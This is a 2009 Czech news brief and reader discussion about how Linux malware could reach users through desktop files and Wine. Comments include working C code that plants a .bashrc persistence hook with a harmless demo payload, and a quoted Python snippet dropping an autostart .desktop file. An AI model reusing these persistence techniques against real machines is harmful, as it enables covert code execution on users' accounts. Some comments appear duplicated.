No tak prijde vir postou, kazdy klient mu neda pravo pro spusteni, tedy by musel prijit v TAR souboru.
Kdy budu hodne skaredy, tak vezmu svazku /home prava pro spusteni souboru .... a jsem kde vazeni ;-))) ... jeste existuje /tmp jenze to by se nejdrive muselo neco zpustit ;-))
Takze jsme kde vazeni ?
Jak napsat linuxový virus v pěti krocích
12. 2. 2009 10:37
Adam Štrauch
Na geekzone.co.nz se objevil zajímavý článek na téma psaní linuxových virů. V článku se píše, že Linux používají čím dál více i technicky méně zruční uživatelé a tudíž propašování „špatného kódu“ třeba podvodným emailem je jednodušší než dřív. Dále v něm autor říká, že spouštění příloh se dá obejít pomocí desktopových souborů, které najdeme třeba na ploše, nebo že nepotřebujeme root účet, abychom si užili legraci s uživatelskými daty.
Dále čtěte…
- BotBrew udělá z Androida plnohodnotný „Linux“ 25. 5. 2012 0:00
- Nové X Server driver API 15. 5. 2012 16:12
- Linux 3.4 vyjde již tento týden 14. 5. 2012 12:46
- Podpora hardwaru v Linuxu 11. 5. 2012 13:25
- Google zrcadlí GIT repositář linuxového jádra 26. 4. 2012 10:39
Ahmul (neregistrovaný)
12. 2. 2009 11:41
Nový
Re: Ha ha ha
celé vlákno
> Kdy budu hodne skaredy, tak vezmu svazku /home prava pro spusteni souboru
Ale já mám docela rád svůj vlastní ~/bin/ adresář.
Ale já mám docela rád svůj vlastní ~/bin/ adresář.
Kvakor (neregistrovaný)
12. 2. 2009 12:34
Nový
Re: Ha ha ha
celé vlákno
To neni problem, je mozne mit ten ~/bin/ namountovany jako jiny souborovy system (pres loopback, pres tmpfs ...) a zaroven zachovat zbytek /home nespostitelny.
Bohuzel to nepomuze pri popisovanem typu utoku, ponevac veci spoustene dekstopovym prostedim pri startu nemusi mit priznak spustitelnosti.
Bohuzel to nepomuze pri popisovanem typu utoku, ponevac veci spoustene dekstopovym prostedim pri startu nemusi mit priznak spustitelnosti.
edois (neregistrovaný)
12. 2. 2009 12:13
Nový
Re: Ha ha ha
celé vlákno
Zas takovy problem to neni, staci mit nainstalovane a defaultne nakonfigurovane wine (kolik procent uzivatelu napr. ubuntu to takhle ma?), jako prilohu poslat windowsi exe (nejak atraktivne pojmenovane), ktere zapise neco do .bashrc a pruser je na svete... (samozrejme musite mit nastavenou asociaci .exe -> wine a nejaky emailovy klient, ktery ty asociace pouziva, ale to myslim v defaultnim ubuntu taky bude)
Napr. takto (vyzaduje nainstalovane wine v defaultni konfiguraci a Xdialog):
#include <stdio.h>
int main(int argc, char **argv)
{
char buf[4096];
snprintf(buf, 4096, "Z:\\home\\%s\\.bashrc", getenv("USERNAME"));
char buf2[4096];
snprintf(buf2, 4096, "Z:\\home\\%s\\.virustest.sh", getenv("USERNAME"));
FILE *f = fopen(buf, "a");
fprintf(f, "/bin/sh /home/%s/.virustest.sh \n", getenv("USERNAME"));
fclose(f);
f = fopen(buf2, "w");
fprintf(f, "#!/bin/bash \n");
fprintf(f, "Xdialog --msgbox \"Ahoj\" 0 0 \n");
fclose(f);
return 0;
}
Zkuste si to zkompilovat, nainstalovat si wine a xdialog, poslat si to postou a spustit to.. pak pri kazdem spusteni bashe dostanete xdialogovou hlasku "Ahoj"...
Napr. takto (vyzaduje nainstalovane wine v defaultni konfiguraci a Xdialog):
#include <stdio.h>
int main(int argc, char **argv)
{
char buf[4096];
snprintf(buf, 4096, "Z:\\home\\%s\\.bashrc", getenv("USERNAME"));
char buf2[4096];
snprintf(buf2, 4096, "Z:\\home\\%s\\.virustest.sh", getenv("USERNAME"));
FILE *f = fopen(buf, "a");
fprintf(f, "/bin/sh /home/%s/.virustest.sh \n", getenv("USERNAME"));
fclose(f);
f = fopen(buf2, "w");
fprintf(f, "#!/bin/bash \n");
fprintf(f, "Xdialog --msgbox \"Ahoj\" 0 0 \n");
fclose(f);
return 0;
}
Zkuste si to zkompilovat, nainstalovat si wine a xdialog, poslat si to postou a spustit to.. pak pri kazdem spusteni bashe dostanete xdialogovou hlasku "Ahoj"...
vlabra (neregistrovaný)
12. 2. 2009 15:26
Nový
Re: Ha ha ha
celé vlákno
V případě že má WINE přístup do ~ tak je to průser. U mě to nemá :-) Co se BFU týče tak s Linuxem je to stejně jako s jimým OS. Největší bezpečnostní riziko se nachází mezi klávesnicí a židlí. Linux je odolnější proti útokům ze sítě, a pokud je dobře nakonfigurovaný tak i proti BFU. Pokud je dobře nakonfigurovaný. V případě že před ním sedí BFU s právem roota (nebo sudo), který automaticky kliká na Ano, tak je na tom Linux skoro stejně jako Windows. To skoro proto, že přece jenom Linux trochu více hraje na práva a snaží se to uživateli co nejvíce vymlouvat (varovaní v případě přihlášení jako root, či některé systémy, které roota ani nemají).
Jak už kdysi dávno jeden klasik řekl: "Na světě jsou poze dvě veci, které mohou být nekonečné. Vesmír a lidská blbost, ale s tím vesmírem si nejsem až zase tak jistý."
Jak už kdysi dávno jeden klasik řekl: "Na světě jsou poze dvě veci, které mohou být nekonečné. Vesmír a lidská blbost, ale s tím vesmírem si nejsem až zase tak jistý."
12. 2. 2009 22:41
Nový
Re: Ha ha ha
celé vlákno
V případě že má WINE přístup do ~ tak je to průser.
Taky nevim, kteryho troubu to napadlo, kdyz jsem to poprve videl, tak sem se zdesil :)
Taky nevim, kteryho troubu to napadlo, kdyz jsem to poprve videl, tak sem se zdesil :)
Radim Luža (neregistrovaný)
12. 2. 2009 23:54
Nový
Re: Ha ha ha
celé vlákno
Ono problémem wine je, že když si při prvním spuštění generuje konfirguraci, tak si vytvoří disk Z: který mapuje přímo /. Díky tomu může wine spouštět i věci z tempu a odkudkoliv z disku... Je to pohodlné a přitom značně nebezpečné. Naštěstí wine není typicky asociován s windows soubory... tak zatím aspoň tak.
edois (neregistrovaný)
13. 2. 2009 0:41
Nový
Re: Ha ha ha
celé vlákno
Ja mam prave pocit, ze v nekterych distribucich s windows soubory defaultne asociovan je, ale nemam to kde vyzkouset (preinstalovavat notebook na blbuntu si kvuli tomu nebudu)..
13. 2. 2009 1:08
Nový
hmm Wine
celé vlákno
Asociován jako v desktopovém prostředí?
Ono stačí tohle:
~/.wine/drive_c/windows/notepad.exe
a spustí se, stejně jako se spouští ELF binárky.
(Kubuntu 8.10)
Ono stačí tohle:
~/.wine/drive_c/windows/notepad.exe
a spustí se, stejně jako se spouští ELF binárky.
(Kubuntu 8.10)
JardaP (neregistrovaný)
13. 2. 2009 14:47
Nový
Re: Ha ha ha
celé vlákno
Bohuzel, pristup do ~ wine defaultne ma.
Zdenek (neregistrovaný)
12. 2. 2009 12:40
Nový
RE: Jak napsat linuxový virus v pěti krocích
celé vlákno
Clanek neni o virech, ale o blbcich. Blb ktery si sam spusti vir, zustane blbem i kdyby mel operacni system budoucnosti s umelou inteligenci.
edois (neregistrovaný)
12. 2. 2009 12:43
Nový
RE: Jak napsat linuxový virus v pěti krocích
celé vlákno
S tim nelze nesouhlasit. Pokud bude pribyvat uzivatelu ubuntu stavajicim (neby vyssim) tempem, do par let se viru dockame i na linuxu..
hlas lidu (neregistrovaný)
12. 2. 2009 12:52
Nový
RE: Jak napsat linuxový virus v pěti krocích
celé vlákno
Asi jste měl na mysli Pokud bude pribyvat uzivatelu ubuntu stavajicim (neby vyssim) tempem, do par let se viru dockame i na Ubuntu..
Mr.Dan (neregistrovaný)
12. 2. 2009 15:56
Nový
RE: Jak napsat linuxový virus v pěti krocích
celé vlákno
Jeste bych dodal: Pokud bude pribyvat uzivatelu Ubuntu stavajicim (neby vyssim) tempem, do par let se viru dockame i na Ubuntu, u nekterych blbcu..
12. 2. 2009 21:04
Nový
RE: Jak napsat linuxový virus v pěti krocích
celé vlákno
Jak se to vezme. Není to tak dávno, kdy mi došel nějaký český phishing tvářící se od jisté společnosti a ani já jsem si na první pohled nebyl jistý, jestli to je nebo není pravé. Anglické maily hned mažu, ale co uživatelé v anglicky mluvících zemích? Ty už musí taky filtrovat sami a obezřetně.
majkls (neregistrovaný)
12. 2. 2009 12:42
Nový
Je vidět, že autor píše viry pro windows
celé vlákno
Je vidět, že autor píše viry pro windows, protože jinak by tohle nikdy nepsal:
uname = os.getlogin()
drop_dir = “/home/%s/.config/autostart” % uname
os.makedirs(drop_dir)
f = open(drop_dir+”/Malware.desktop”, “w”)
f.write(relauncher_str)
f.close()
Každý trochu slušnější programátor ví, že nemůže používat název loginu jako klíč k cestě k nějakému uživateli, žeano.... Slušnější programátor použije getpwnam/getpwuid, popřípadě proměnnou prostředí HOME.
Když už píšete někdo něco do článku, tak proboha aspoň korektně, ať se lidi neučej kraviny!
Nehledě nato, že python není samozřejmost.
uname = os.getlogin()
drop_dir = “/home/%s/.config/autostart” % uname
os.makedirs(drop_dir)
f = open(drop_dir+”/Malware.desktop”, “w”)
f.write(relauncher_str)
f.close()
Každý trochu slušnější programátor ví, že nemůže používat název loginu jako klíč k cestě k nějakému uživateli, žeano.... Slušnější programátor použije getpwnam/getpwuid, popřípadě proměnnou prostředí HOME.
Když už píšete někdo něco do článku, tak proboha aspoň korektně, ať se lidi neučej kraviny!
Nehledě nato, že python není samozřejmost.
edois (neregistrovaný)
12. 2. 2009 12:46
Nový
Re: Je vidět, že autor píše viry pro windows
celé vlákno
Kdyz nekdo dela virus, cili ho na majoritu, coz by v tomto pripade (kdyz uz by delal virus pro linux) byli uzivatele, kteri python nainstalovany maji a home adresar maji opravdu /home/${USERNAME}/
edois (neregistrovaný)
12. 2. 2009 12:48
Nový
Re: Je vidět, že autor píše viry pro windows
celé vlákno
Jina vec je ale to, ze by musel uzivatele donutit ten skript spustit a pokud se nepletu, vsechna rozumna prostredi maji asociaci k pythonim skriptum nastavenou na nejaky editor, ne na interpretr pythonu...
uživatel si přál zůstat v anonymitě
13. 2. 2009 9:21
Nový
Re: Je vidět, že autor píše viry pro windows
celé vlákno
Zajímalo by mě, jak použití POSIXového getlogin() vypovídá o wingramátorovi. Taky getlogin() ≠ getpwuid(getuid())->pw_name a spoléhat se na existenci getenv("HOME") je už vůbec kravina.
majkls (neregistrovaný)
13. 2. 2009 13:34
Nový
Re: Je vidět, že autor píše viry pro windows
celé vlákno
tak proměnná prostředí HOME je běžná praxe a vytváří ji každý login proces při přihlášení. Druhá věc je, že třeba cron ji nekonfiguruje (není login proces). Na tuto proměnnou spoléhají například knihovny mysql. Ale bude to i řada dalšího sw. Tedy vůbec si nemyslím, že to je kravina, naopak si myslím, že kravina je, jak to udělal autor.
Když chcete ukázat správnou cestu získání domovského adresáře, tak ji ukažte, ať se máme o čem bavit.
Zajímalo by mě, jak použití POSIXového getlogin() vypovídá o wingramátorovi.
To, že to (způsob použití určitých knihovních funkcí) je typická chyba spousty projektů ve win. Není to tak dlouho, co tu někdo prohlašoval, že nefunkčnost programů pod vistama není problém Windows, ale programátorů, kteří jsou prasata. A mimo jiné jako jeden z důvodů uváděl cesty a nekorektní použití určitých funkcí.
Takže daný virus by pod rootem mohl selhat, protože root má adresář (aspoň v linuxu) úplně jinde. A podotýkám, že to není jediný systémový uživatel.
Když chcete ukázat správnou cestu získání domovského adresáře, tak ji ukažte, ať se máme o čem bavit.
Zajímalo by mě, jak použití POSIXového getlogin() vypovídá o wingramátorovi.
To, že to (způsob použití určitých knihovních funkcí) je typická chyba spousty projektů ve win. Není to tak dlouho, co tu někdo prohlašoval, že nefunkčnost programů pod vistama není problém Windows, ale programátorů, kteří jsou prasata. A mimo jiné jako jeden z důvodů uváděl cesty a nekorektní použití určitých funkcí.
Takže daný virus by pod rootem mohl selhat, protože root má adresář (aspoň v linuxu) úplně jinde. A podotýkám, že to není jediný systémový uživatel.

